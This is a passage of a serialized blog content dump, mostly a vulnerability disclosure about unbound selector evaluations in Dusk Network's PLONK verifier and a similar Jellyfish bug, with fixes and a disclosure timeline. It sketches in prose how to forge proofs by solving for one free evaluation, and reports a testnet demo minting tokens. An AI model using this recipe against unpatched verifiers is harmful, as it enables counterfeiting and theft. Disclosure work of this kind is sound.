(",{"type":21,"tag":335,"props":146620,"children":146622},{"href":146440,"rel":146621},[339],[146623],{"type":26,"value":146444},{"type":26,"value":21170},{"type":21,"tag":845,"props":146626,"children":146627},{},[146628,146630,146717,146719,146811,146812,146819],{"type":26,"value":146629},"There is a fourth permutation commitment ",{"type":21,"tag":66,"props":146631,"children":146633},{"className":146632},[4748,4749],[146634],{"type":21,"tag":85,"props":146635,"children":146637},{"className":146636},[4754],[146638],{"type":21,"tag":85,"props":146639,"children":146641},{"className":146640,"ariaHidden":4760},[4759],[146642],{"type":21,"tag":85,"props":146643,"children":146645},{"className":146644},[4765],[146646,146650,146655,146712],{"type":21,"tag":85,"props":146647,"children":146649},{"className":146648,"style":4878},[4770],[],{"type":21,"tag":85,"props":146651,"children":146653},{"className":146652},[22145],[146654],{"type":26,"value":3016},{"type":21,"tag":85,"props":146656,"children":146658},{"className":146657},[4776],[146659,146664],{"type":21,"tag":85,"props":146660,"children":146662},{"className":146661,"style":93995},[4776,22016],[146663],{"type":26,"value":145094},{"type":21,"tag":85,"props":146665,"children":146667},{"className":146666},[4793],[146668],{"type":21,"tag":85,"props":146669,"children":146671},{"className":146670},[4798,22070],[146672,146701],{"type":21,"tag":85,"props":146673,"children":146675},{"className":146674},[4803],[146676,146696],{"type":21,"tag":85,"props":146677,"children":146679},{"className":146678,"style":93561},[4808],[146680],{"type":21,"tag":85,"props":146681,"children":146682},{"style":94042},[146683,146687],{"type":21,"tag":85,"props":146684,"children":146686},{"className":146685,"style":4818},[4817],[],{"type":21,"tag":85,"props":146688,"children":146690},{"className":146689},[4823,4824,4825,4826],[146691],{"type":21,"tag":85,"props":146692,"children":146694},{"className":146693},[4776,4826],[146695],{"type":26,"value":17951},{"type":21,"tag":85,"props":146697,"children":146699},{"className":146698},[22173],[146700],{"type":26,"value":22176},{"type":21,"tag":85,"props":146702,"children":146704},{"className":146703},[4803],[146705],{"type":21,"tag":85,"props":146706,"children":146708},{"className":146707,"style":93592},[4808],[146709],{"type":21,"tag":85,"props":146710,"children":146711},{},[],{"type":21,"tag":85,"props":146713,"children":146715},{"className":146714},[22167],[146716],{"type":26,"value":15830},{"type":26,"value":146718}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":21,"tag":66,"props":146720,"children":146722},{"className":146721},[4748,4749],[146723],{"type":21,"tag":85,"props":146724,"children":146726},{"className":146725},[4754],[146727],{"type":21,"tag":85,"props":146728,"children":146730},{"className":146729,"ariaHidden":4760},[4759],[146731],{"type":21,"tag":85,"props":146732,"children":146734},{"className":146733},[4765],[146735,146739,146796,146801,146806],{"type":21,"tag":85,"props":146736,"children":146738},{"className":146737,"style":4878},[4770],[],{"type":21,"tag":85,"props":146740,"children":146742},{"className":146741},[4776],[146743,146748],{"type":21,"tag":85,"props":146744,"children":146746},{"className":146745,"style":93995},[4776,22016],[146747],{"type":26,"value":145094},{"type":21,"tag":85,"props":146749,"children":146751},{"className":146750},[4793],[146752],{"type":21,"tag":85,"props":146753,"children":146755},{"className":146754},[4798,22070],[146756,146785],{"type":21,"tag":85,"props":146757,"children":146759},{"className":146758},[4803],[146760,146780],{"type":21,"tag":85,"props":146761,"children":146763},{"className":146762,"style":93561},[4808],[146764],{"type":21,"tag":85,"props":146765,"children":146766},{"style":94042},[146767,146771],{"type":21,"tag":85,"props":146768,"children":146770},{"className":146769,"style":4818},[4817],[],{"type":21,"tag":85,"props":146772,"children":146774},{"className":146773},[4823,4824,4825,4826],[146775],{"type":21,"tag":85,"props":146776,"children":146778},{"className":146777},[4776,4826],[146779],{"type":26,"value":17951},{"type":21,"tag":85,"props":146781,"children":146783},{"className":146782},[22173],[146784],{"type":26,"value":22176},{"type":21,"tag":85,"props":146786,"children":146788},{"className":146787},[4803],[146789],{"type":21,"tag":85,"props":146790,"children":146792},{"className":146791,"style":93592},[4808],[146793],{"type":21,"tag":85,"props":146794,"children":146795},{},[],{"type":21,"tag":85,"props":146797,"children":146799},{"className":146798},[22145],[146800],{"type":26,"value":1439},{"type":21,"tag":85,"props":146802,"children":146804},{"className":146803,"style":114066},[4776,22016],[146805],{"type":26,"value":114069},{"type":21,"tag":85,"props":146807,"children":146809},{"className":146808},[22167],[146810],{"type":26,"value":1900},{"type":26,"value":717},{"type":21,"tag":335,"props":146813,"children":146816},{"href":146814,"rel":146815},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[339],[146817],{"type":26,"value":146818},"permutation verifier key",{"type":26,"value":21170},{"type":21,"tag":22,"props":146821,"children":146822},{},[146823,146825,146835],{"type":26,"value":146824},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":21,"tag":335,"props":146826,"children":146829},{"href":146827,"rel":146828},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[339],[146830],{"type":21,"tag":66,"props":146831,"children":146833},{"className":146832},[],[146834],{"type":26,"value":146276},{"type":26,"value":146836},", which leaves the master equation underconstrained.",{"type":21,"tag":22,"props":146838,"children":146839},{},[146840],{"type":21,"tag":4681,"props":146841,"children":146844},{"alt":146842,"src":146843},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":21,"tag":19218,"props":146846,"children":146847},{},[],{"type":21,"tag":54,"props":146849,"children":146851},{"id":146850},"the-exploitation",[146852],{"type":26,"value":146853},"The exploitation",{"type":21,"tag":22,"props":146855,"children":146856},{},[146857],{"type":26,"value":146858},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":21,"tag":22,"props":146860,"children":146861},{},[146862,146864,146870,146872,146877,146879,146884,146886,146892],{"type":26,"value":146863},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":21,"tag":66,"props":146865,"children":146867},{"className":146866},[],[146868],{"type":26,"value":146869},"z_challenge",{"type":26,"value":146871},", it computes what the linearization polynomial ",{"type":21,"tag":39,"props":146873,"children":146874},{},[146875],{"type":26,"value":146876},"should",{"type":26,"value":146878}," evaluate to for the pairing check to pass, then solves for ",{"type":21,"tag":66,"props":146880,"children":146882},{"className":146881},[],[146883],{"type":26,"value":146397},{"type":26,"value":146885},", the single free variable that makes the verification equation balance (setting ",{"type":21,"tag":66,"props":146887,"children":146889},{"className":146888},[],[146890],{"type":26,"value":146891},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":26,"value":21170},{"type":21,"tag":22,"props":146894,"children":146895},{},[146896],{"type":21,"tag":4681,"props":146897,"children":146900},{"alt":146898,"src":146899},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":21,"tag":22,"props":146902,"children":146903},{},[146904,146906,146946,146948,146973,146975,146980],{"type":26,"value":146905},"To achieve this one may compute the linearization polynomial ",{"type":21,"tag":66,"props":146907,"children":146909},{"className":146908},[4748,4749],[146910],{"type":21,"tag":85,"props":146911,"children":146913},{"className":146912},[4754],[146914],{"type":21,"tag":85,"props":146915,"children":146917},{"className":146916,"ariaHidden":4760},[4759],[146918],{"type":21,"tag":85,"props":146919,"children":146921},{"className":146920},[4765],[146922,146926,146931,146936,146941],{"type":21,"tag":85,"props":146923,"children":146925},{"className":146924,"style":4878},[4770],[],{"type":21,"tag":85,"props":146927,"children":146929},{"className":146928,"style":93509},[4776,22016],[146930],{"type":26,"value":94328},{"type":21,"tag":85,"props":146932,"children":146934},{"className":146933},[22145],[146935],{"type":26,"value":1439},{"type":21,"tag":85,"props":146937,"children":146939},{"className":146938},[4776,22016],[146940],{"type":26,"value":19702},{"type":21,"tag":85,"props":146942,"children":146944},{"className":146943},[22167],[146945],{"type":26,"value":1900},{"type":26,"value":146947}," with all selectors set to zero, evaluating it at ",{"type":21,"tag":66,"props":146949,"children":146951},{"className":146950},[4748,4749],[146952],{"type":21,"tag":85,"props":146953,"children":146955},{"className":146954},[4754],[146956],{"type":21,"tag":85,"props":146957,"children":146959},{"className":146958,"ariaHidden":4760},[4759],[146960],{"type":21,"tag":85,"props":146961,"children":146963},{"className":146962},[4765],[146964,146968],{"type":21,"tag":85,"props":146965,"children":146967},{"className":146966,"style":111350},[4770],[],{"type":21,"tag":85,"props":146969,"children":146971},{"className":146970,"style":114066},[4776,22016],[146972],{"type":26,"value":114069},{"type":26,"value":146974},", and comparing to the target value; the difference divided by the coefficient of ",{"type":21,"tag":66,"props":146976,"children":146978},{"className":146977},[],[146979],{"type":26,"value":146397},{"type":26,"value":146981}," gives the required value in a single field division.",{"type":21,"tag":19218,"props":146983,"children":146984},{},[],{"type":21,"tag":54,"props":146986,"children":146988},{"id":146987},"impact-on-dusk-network",[146989],{"type":26,"value":146990},"Impact on Dusk Network",{"type":21,"tag":22,"props":146992,"children":146993},{},[146994,146996,147003],{"type":26,"value":146995},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":21,"tag":335,"props":146997,"children":147000},{"href":146998,"rel":146999},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[339],[147001],{"type":26,"value":147002},"preverify path",{"type":26,"value":147004},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":21,"tag":841,"props":147006,"children":147007},{},[147008,147013,147018],{"type":21,"tag":845,"props":147009,"children":147010},{},[147011],{"type":26,"value":147012},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":21,"tag":845,"props":147014,"children":147015},{},[147016],{"type":26,"value":147017},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":21,"tag":845,"props":147019,"children":147020},{},[147021],{"type":26,"value":147022},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":21,"tag":22,"props":147024,"children":147025},{},[147026],{"type":26,"value":147027},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":21,"tag":841,"props":147029,"children":147030},{},[147031,147036,147046,147058,147063],{"type":21,"tag":845,"props":147032,"children":147033},{},[147034],{"type":26,"value":147035},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":21,"tag":845,"props":147037,"children":147038},{},[147039,147041],{"type":26,"value":147040},"The malicious wallet forges a PLONK proof to create ",{"type":21,"tag":873,"props":147042,"children":147043},{},[147044],{"type":26,"value":147045},"2000 DUSK from nothing",{"type":21,"tag":845,"props":147047,"children":147048},{},[147049,147051,147056],{"type":26,"value":147050},"The malicious wallet transfers ",{"type":21,"tag":873,"props":147052,"children":147053},{},[147054],{"type":26,"value":147055},"1337 DUSK",{"type":26,"value":147057}," to the honest wallet using a normal (honestly-proved) transaction",{"type":21,"tag":845,"props":147059,"children":147060},{},[147061],{"type":26,"value":147062},"The honest node validates both transactions and mines them into blocks",{"type":21,"tag":845,"props":147064,"children":147065},{},[147066],{"type":26,"value":147067},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":21,"tag":22,"props":147069,"children":147070},{},[147071],{"type":21,"tag":4681,"props":147072,"children":147075},{"alt":147073,"src":147074},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":21,"tag":22,"props":147077,"children":147078},{},[147079,147081,147087,147089,147096],{"type":26,"value":147080},"At the time of discovery, DUSK's market cap was roughly ",{"type":21,"tag":335,"props":147082,"children":147084},{"href":142382,"rel":147083},[339],[147085],{"type":26,"value":147086},"~60M",{"type":26,"value":147088},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":21,"tag":335,"props":147090,"children":147093},{"href":147091,"rel":147092},"https://neptune.cash/articles/critical-vulnerability-disclosure",[339],[147094],{"type":26,"value":147095},"Triton VM vulnerability",{"type":26,"value":73},{"type":21,"tag":19218,"props":147098,"children":147099},{},[],{"type":21,"tag":54,"props":147101,"children":147103},{"id":147102},"the-fix",[147104],{"type":26,"value":147105},"The fix",{"type":21,"tag":22,"props":147107,"children":147108},{},[147109],{"type":26,"value":147110},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":21,"tag":17108,"props":147112,"children":147113},{},[147114,147159],{"type":21,"tag":845,"props":147115,"children":147116},{},[147117,147119,147130,147132,147138,147139,147145,147146,147152,147153],{"type":26,"value":147118},"Extend ",{"type":21,"tag":335,"props":147120,"children":147123},{"href":147121,"rel":147122},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[339],[147124],{"type":21,"tag":66,"props":147125,"children":147127},{"className":147126},[],[147128],{"type":26,"value":147129},"compute_aggregate_witness",{"type":26,"value":147131}," on the prover side to also include ",{"type":21,"tag":66,"props":147133,"children":147135},{"className":147134},[],[147136],{"type":26,"value":147137},"q_arith",{"type":26,"value":256},{"type":21,"tag":66,"props":147140,"children":147142},{"className":147141},[],[147143],{"type":26,"value":147144},"q_c",{"type":26,"value":256},{"type":21,"tag":66,"props":147147,"children":147149},{"className":147148},[],[147150],{"type":26,"value":147151},"q_l",{"type":26,"value":820},{"type":21,"tag":66,"props":147154,"children":147156},{"className":147155},[],[147157],{"type":26,"value":147158},"q_r",{"type":21,"tag":845,"props":147160,"children":147161},{},[147162,147164,147174],{"type":26,"value":147163},"Add their evaluations to ",{"type":21,"tag":335,"props":147165,"children":147168},{"href":147166,"rel":147167},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[339],[147169],{"type":21,"tag":66,"props":147170,"children":147172},{"className":147171},[],[147173],{"type":26,"value":146276},{"type":26,"value":147175}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":21,"tag":22,"props":147177,"children":147178},{},[147179,147181,147188],{"type":26,"value":147180},"This was done in ",{"type":21,"tag":335,"props":147182,"children":147185},{"href":147183,"rel":147184},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[339],[147186],{"type":26,"value":147187},"commit 645265b7",{"type":26,"value":147189},", which landed on February 14, 2026.",{"type":21,"tag":19218,"props":147191,"children":147192},{},[],{"type":21,"tag":54,"props":147194,"children":147196},{"id":147195},"why-was-this-missed",[147197],{"type":26,"value":147198},"Why was this missed?",{"type":21,"tag":22,"props":147200,"children":147201},{},[147202,147204,147211,147212,147219,147221,147228,147230,147237],{"type":26,"value":147203},"Dusk's stack had been heavily audited: a ",{"type":21,"tag":335,"props":147205,"children":147208},{"href":147206,"rel":147207},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[339],[147209],{"type":26,"value":147210},"December 2023 audit of dusk-plonk",{"type":26,"value":124852},{"type":21,"tag":335,"props":147213,"children":147216},{"href":147214,"rel":147215},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[339],[147217],{"type":26,"value":147218},"September 2024 audit of Phoenix",{"type":26,"value":147220},", and a ",{"type":21,"tag":335,"props":147222,"children":147225},{"href":147223,"rel":147224},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[339],[147226],{"type":26,"value":147227},"September 2024 Oak Security audit of the Rusk node library",{"type":26,"value":147229},". Dusk's public ",{"type":21,"tag":335,"props":147231,"children":147234},{"href":147232,"rel":147233},"https://dusk.network/news/audits-overview",[339],[147235],{"type":26,"value":147236},"audits overview",{"type":26,"value":147238}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":21,"tag":22,"props":147240,"children":147241},{},[147242,147244,147249],{"type":26,"value":147243},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":21,"tag":39,"props":147245,"children":147246},{},[147247],{"type":26,"value":147248},"evaluations",{"type":26,"value":73},{"type":21,"tag":22,"props":147251,"children":147252},{},[147253],{"type":26,"value":147254},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":21,"tag":22,"props":147256,"children":147257},{},[147258],{"type":26,"value":147259},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":21,"tag":54,"props":147261,"children":147263},{"id":147262},"a-similar-bug-in-espresso-systems-jellyfish",[147264],{"type":26,"value":147265},"A similar bug in Espresso Systems' Jellyfish",{"type":21,"tag":22,"props":147267,"children":147268},{},[147269,147271,147278],{"type":26,"value":147270},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":21,"tag":335,"props":147272,"children":147275},{"href":147273,"rel":147274},"https://github.com/EspressoSystems/jellyfish/",[339],[147276],{"type":26,"value":147277},"jf-plonk",{"type":26,"value":147279}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":21,"tag":22,"props":147281,"children":147282},{},[147283,147285,147292,147294,147305,147307,147332,147334,147359],{"type":26,"value":147284},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":21,"tag":335,"props":147286,"children":147289},{"href":147287,"rel":147288},"https://eprint.iacr.org/2020/315",[339],[147290],{"type":26,"value":147291},"Plookup",{"type":26,"value":147293}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":21,"tag":335,"props":147295,"children":147298},{"href":147296,"rel":147297},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[339],[147299],{"type":21,"tag":66,"props":147300,"children":147302},{"className":147301},[],[147303],{"type":26,"value":147304},"append_plookup_evaluations",{"type":26,"value":147306}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":21,"tag":66,"props":147308,"children":147310},{"className":147309},[4748,4749],[147311],{"type":21,"tag":85,"props":147312,"children":147314},{"className":147313},[4754],[147315],{"type":21,"tag":85,"props":147316,"children":147318},{"className":147317,"ariaHidden":4760},[4759],[147319],{"type":21,"tag":85,"props":147320,"children":147322},{"className":147321},[4765],[147323,147327],{"type":21,"tag":85,"props":147324,"children":147326},{"className":147325,"style":111350},[4770],[],{"type":21,"tag":85,"props":147328,"children":147330},{"className":147329,"style":93995},[4776,22016],[147331],{"type":26,"value":114413},{"type":26,"value":147333}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":21,"tag":66,"props":147335,"children":147337},{"className":147336},[4748,4749],[147338],{"type":21,"tag":85,"props":147339,"children":147341},{"className":147340},[4754],[147342],{"type":21,"tag":85,"props":147343,"children":147345},{"className":147344,"ariaHidden":4760},[4759],[147346],{"type":21,"tag":85,"props":147347,"children":147349},{"className":147348},[4765],[147350,147354],{"type":21,"tag":85,"props":147351,"children":147353},{"className":147352,"style":111350},[4770],[],{"type":21,"tag":85,"props":147355,"children":147357},{"className":147356,"style":93995},[4776,22016],[147358],{"type":26,"value":114413},{"type":26,"value":147360},", so the prover can adjust them after the fact to make the check pass.",{"type":21,"tag":22,"props":147362,"children":147363},{},[147364,147366,147372,147374,147380],{"type":26,"value":147365},"The attack requires modifying a single evaluation (",{"type":21,"tag":66,"props":147367,"children":147369},{"className":147368},[],[147370],{"type":26,"value":147371},"key_table_next_eval",{"type":26,"value":147373},") by ",{"type":21,"tag":66,"props":147375,"children":147377},{"className":147376},[],[147378],{"type":26,"value":147379},"delta / (u * v^3)",{"type":26,"value":147381}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":21,"tag":22,"props":147383,"children":147384},{},[147385,147387,147394,147396,147407],{"type":26,"value":147386},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":21,"tag":335,"props":147388,"children":147391},{"href":147389,"rel":147390},"https://github.com/EspressoSystems/jellyfish/pull/867",[339],[147392],{"type":26,"value":147393},"PR #867",{"type":26,"value":147395}," fixed the issue and was tagged as ",{"type":21,"tag":335,"props":147397,"children":147400},{"href":147398,"rel":147399},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[339],[147401],{"type":21,"tag":66,"props":147402,"children":147404},{"className":147403},[],[147405],{"type":26,"value":147406},"jf-plonk-v0.8.0",{"type":26,"value":147408}," on March 18, 2026.",{"type":21,"tag":19218,"props":147410,"children":147411},{},[],{"type":21,"tag":54,"props":147413,"children":147415},{"id":147414},"toward-standardization",[147416],{"type":26,"value":147417},"Toward standardization",{"type":21,"tag":22,"props":147419,"children":147420},{},[147421,147423,147430],{"type":26,"value":147422},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":21,"tag":335,"props":147424,"children":147427},{"href":147425,"rel":147426},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[339],[147428],{"type":26,"value":147429},"similar patterns appear across zkVMs",{"type":26,"value":147431},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":21,"tag":22,"props":147433,"children":147434},{},[147435],{"type":26,"value":147436},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":21,"tag":22,"props":147438,"children":147439},{},[147440],{"type":26,"value":147441},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":21,"tag":54,"props":147443,"children":147444},{"id":61281},[147445],{"type":26,"value":147446},"Disclosure timeline",{"type":21,"tag":56201,"props":147448,"children":147449},{},[147450,147466],{"type":21,"tag":123460,"props":147451,"children":147452},{},[147453],{"type":21,"tag":123464,"props":147454,"children":147455},{},[147456,147461],{"type":21,"tag":123468,"props":147457,"children":147458},{},[147459],{"type":26,"value":147460},"Date",{"type":21,"tag":123468,"props":147462,"children":147463},{},[147464],{"type":26,"value":147465},"Event",{"type":21,"tag":123488,"props":147467,"children":147468},{},[147469,147482,147495,147507,147533,147553],{"type":21,"tag":123464,"props":147470,"children":147471},{},[147472,147477],{"type":21,"tag":123495,"props":147473,"children":147474},{},[147475],{"type":26,"value":147476},"2026-02-13",{"type":21,"tag":123495,"props":147478,"children":147479},{},[147480],{"type":26,"value":147481},"Dusk vulnerability reported",{"type":21,"tag":123464,"props":147483,"children":147484},{},[147485,147490],{"type":21,"tag":123495,"props":147486,"children":147487},{},[147488],{"type":26,"value":147489},"2026-02-14",{"type":21,"tag":123495,"props":147491,"children":147492},{},[147493],{"type":26,"value":147494},"Dusk acknowledged",{"type":21,"tag":123464,"props":147496,"children":147497},{},[147498,147502],{"type":21,"tag":123495,"props":147499,"children":147500},{},[147501],{"type":26,"value":147489},{"type":21,"tag":123495,"props":147503,"children":147504},{},[147505],{"type":26,"value":147506},"Dusk fix committed",{"type":21,"tag":123464,"props":147508,"children":147509},{},[147510,147515],{"type":21,"tag":123495,"props":147511,"children":147512},{},[147513],{"type":26,"value":147514},"2026-02-27",{"type":21,"tag":123495,"props":147516,"children":147517},{},[147518,147520,147531],{"type":26,"value":147519},"Public ",{"type":21,"tag":335,"props":147521,"children":147524},{"href":147522,"rel":147523},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[339],[147525],{"type":21,"tag":66,"props":147526,"children":147528},{"className":147527},[],[147529],{"type":26,"value":147530},"dusk-rusk-1.6.0",{"type":26,"value":147532}," release published",{"type":21,"tag":123464,"props":147534,"children":147535},{},[147536,147541],{"type":21,"tag":123495,"props":147537,"children":147538},{},[147539],{"type":26,"value":147540},"2026-03-16",{"type":21,"tag":123495,"props":147542,"children":147543},{},[147544,147546,147552],{"type":26,"value":147545},"Jellyfish fix PR opened (",{"type":21,"tag":335,"props":147547,"children":147549},{"href":147389,"rel":147548},[339],[147550],{"type":26,"value":147551},"#867",{"type":26,"value":1900},{"type":21,"tag":123464,"props":147554,"children":147555},{},[147556,147561],{"type":21,"tag":123495,"props":147557,"children":147558},{},[147559],{"type":26,"value":147560},"2026-03-18",{"type":21,"tag":123495,"props":147562,"children":147563},{},[147564,147566,147571,147573],{"type":26,"value":147565},"Jellyfish fix merged in ",{"type":21,"tag":335,"props":147567,"children":147569},{"href":147389,"rel":147568},[339],[147570],{"type":26,"value":147551},{"type":26,"value":147572}," and tagged as ",{"type":21,"tag":335,"props":147574,"children":147576},{"href":147398,"rel":147575},[339],[147577],{"type":21,"tag":66,"props":147578,"children":147580},{"className":147579},[],[147581],{"type":26,"value":147406},{"type":21,"tag":54,"props":147583,"children":147585},{"id":147584},"acknowledgements",[147586],{"type":26,"value":147587},"Acknowledgements",{"type":21,"tag":22,"props":147589,"children":147590},{},[147591],{"type":26,"value":147592},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":98,"depth":98,"links":147594},[147595,147602,147603,147604,147605,147606,147607,147608,147609,147610,147611,147612],{"id":142412,"depth":98,"text":142415,"children":147596},[147597,147598,147599,147600,147601],{"id":142437,"depth":151,"text":142440},{"id":143240,"depth":151,"text":143243},{"id":144438,"depth":151,"text":144441},{"id":144468,"depth":151,"text":144471},{"id":144749,"depth":151,"text":144752},{"id":145482,"depth":98,"text":145485},{"id":145620,"depth":98,"text":145623},{"id":90763,"depth":98,"text":146251},{"id":146850,"depth":98,"text":146853},{"id":146987,"depth":98,"text":146990},{"id":147102,"depth":98,"text":147105},{"id":147195,"depth":98,"text":147198},{"id":147262,"depth":98,"text":147265},{"id":147414,"depth":98,"text":147417},{"id":61281,"depth":98,"text":147446},{"id":147584,"depth":98,"text":147587},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":147617,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":147618,"description":147619,"date":147620,"author":124119,"image":147621,"isFeatured":16,"onBlogPage":16,"tags":147623,"body":147626,"_type":3642,"_id":157006,"_source":3644,"_file":157007,"_stem":157008,"_extension":3647},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":147622,"width":97730,"height":14041},"/posts/minecraft-heap-overflow-to-rce/title.png",[147624,147625],"minecraft","rce",{"type":18,"children":147627,"toc":156983},[147628,147633,147638,147643,147649,147654,147673,147678,147684,147689,147694,147700,147705,147710,147715,147721,147726,147731,147737,147757,147769,147776,147798,147812,147819,147825,147835,147855,147860,147866,147879,148224,148229,148237,148243,148262,148570,148598,148641,148653,148661,148666,149135,149154,149175,149517,149541,149813,149837,149864,150073,150092,150100,150119,150125,150187,150190,150212,150216,150221,150226,150232,150237,150251,150257,150271,150277,150290,150295,150303,150308,150314,150335,150343,150356,150359,150364,150378,150383,150388,150394,150399,150422,150427,150433,150438,150450,150462,150576,150596,150601,150606,150612,150617,150637,151252,151265,152339,152344,152352,152357,152363,152368,152376,152389,152394,152399,152406,152419,152424,152431,152486,152506,152513,152532,152539,152542,152547,152552,152558,152570,152583,152591,152662,152673,152707,152715,152720,152725,152731,152743,152762,152774,152779,152787,152806,152814,152833,152841,152867,152875,152880,152888,152893,152901,152904,152909,152914,152920,152933,152951,152989,153019,153027,153032,153038,153043,153048,153054,153066,153235,153247,153255,153260,153267,153272,153333,153380,153392,153397,153423,153497,153535,153540,153548,153569,153574,153600,153634,153687,153734,153740,153759,153791,153799,153902,153973,153979,154005,154012,154017,154024,154029,154270,154296,154301,154349,154354,154360,154392,154404,154436,154444,154483,154491,154496,154504,154509,154517,154529,154537,154549,154557,154569,154589,154595,154615,154632,154640,154652,154660,154679,154684,154692,154697,154705,154731,154742,154749,154754,154762,154767,154775,154780,154788,154793,154801,154806,154814,154819,154827,154868,154875,154880,154888,154893,154901,154906,154914,154919,154924,154932,154937,154945,154971,154979,155005,155013,155018,155026,155031,155039,155047,155052,155060,155065,155073,155076,155087,155121,155139,155147,155167,155173,155192,155250,155270,155278,155281,155320,155380,155385,155391,155404,155412,155464,155503,155511,155544,155547,155567,155575,155581,155586,155594,155634,155675,155695,155700,155705,155723,155729,155734,155753,155814,155822,155848,155854,155874,155879,155884,155891,155956,155961,155968,155989,155994,156006,156012,156045,156052,156057,156085,156092,156148,156160,156167,156228,156247,156253,156287,156308,156335,156343,156396,156466,156472,156492,156535,156540,156938,156944,156949,156960,156964,156969,156974,156979],{"type":21,"tag":35820,"props":147629,"children":147631},{"id":147630},"pwning-minecraft-4-byte-heap-